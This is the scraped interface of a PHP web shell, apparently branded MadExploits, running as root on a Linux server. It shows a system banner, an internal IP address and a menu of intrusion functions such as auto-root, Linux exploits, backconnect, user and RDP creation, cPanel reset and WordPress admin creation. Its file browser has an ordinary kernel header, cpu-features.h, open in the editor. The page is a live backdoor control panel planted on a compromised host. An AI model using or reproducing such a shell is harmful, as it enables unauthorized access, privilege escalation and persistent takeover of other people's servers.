Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.21.217
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
linux /
uapi /
sh /
asm /
[ HOME SHELL ]
Name
Size
Permission
Action
auxvec.h
1.02
KB
-rw-r--r--
bitsperlong.h
37
B
-rw-r--r--
bpf_perf_event.h
40
B
-rw-r--r--
byteorder.h
278
B
-rw-r--r--
cachectl.h
648
B
-rw-r--r--
cpu-features.h
1.13
KB
-rw-r--r--
errno.h
31
B
-rw-r--r--
fcntl.h
31
B
-rw-r--r--
hw_breakpoint.h
167
B
-rw-r--r--
ioctl.h
31
B
-rw-r--r--
ioctls.h
4.92
KB
-rw-r--r--
ipcbuf.h
32
B
-rw-r--r--
mman.h
30
B
-rw-r--r--
msgbuf.h
32
B
-rw-r--r--
param.h
31
B
-rw-r--r--
poll.h
30
B
-rw-r--r--
posix_types.h
95
B
-rw-r--r--
posix_types_32.h
801
B
-rw-r--r--
ptrace.h
856
B
-rw-r--r--
ptrace_32.h
1.57
KB
-rw-r--r--
resource.h
34
B
-rw-r--r--
sembuf.h
32
B
-rw-r--r--
setup.h
31
B
-rw-r--r--
shmbuf.h
32
B
-rw-r--r--
sigcontext.h
550
B
-rw-r--r--
siginfo.h
33
B
-rw-r--r--
signal.h
343
B
-rw-r--r--
socket.h
32
B
-rw-r--r--
sockios.h
602
B
-rw-r--r--
stat.h
1.64
KB
-rw-r--r--
statfs.h
32
B
-rw-r--r--
swab.h
880
B
-rw-r--r--
termbits.h
34
B
-rw-r--r--
termios.h
33
B
-rw-r--r--
types.h
31
B
-rw-r--r--
ucontext.h
34
B
-rw-r--r--
unistd.h
90
B
-rw-r--r--
unistd_32.h
11.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cpu-features.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ #ifndef __ASM_SH_CPU_FEATURES_H #define __ASM_SH_CPU_FEATURES_H /* * Processor flags * * Note: When adding a new flag, keep cpu_flags[] in * arch/sh/kernel/setup.c in sync so symbolic name * mapping of the processor flags has a chance of being * reasonably accurate. * * These flags are also available through the ELF * auxiliary vector as AT_HWCAP. */ #define CPU_HAS_FPU 0x0001 /* Hardware FPU support */ #define CPU_HAS_P2_FLUSH_BUG 0x0002 /* Need to flush the cache in P2 area */ #define CPU_HAS_MMU_PAGE_ASSOC 0x0004 /* SH3: TLB way selection bit support */ #define CPU_HAS_DSP 0x0008 /* SH-DSP: DSP support */ #define CPU_HAS_PERF_COUNTER 0x0010 /* Hardware performance counters */ #define CPU_HAS_PTEA 0x0020 /* PTEA register */ #define CPU_HAS_LLSC 0x0040 /* movli.l/movco.l */ #define CPU_HAS_L2_CACHE 0x0080 /* Secondary cache / URAM */ #define CPU_HAS_OP32 0x0100 /* 32-bit instruction support */ #define CPU_HAS_PTEAEX 0x0200 /* PTE ASID Extension support */ #define CPU_HAS_CAS_L 0x0400 /* cas.l atomic compare-and-swap */ #endif /* __ASM_SH_CPU_FEATURES_H */
Close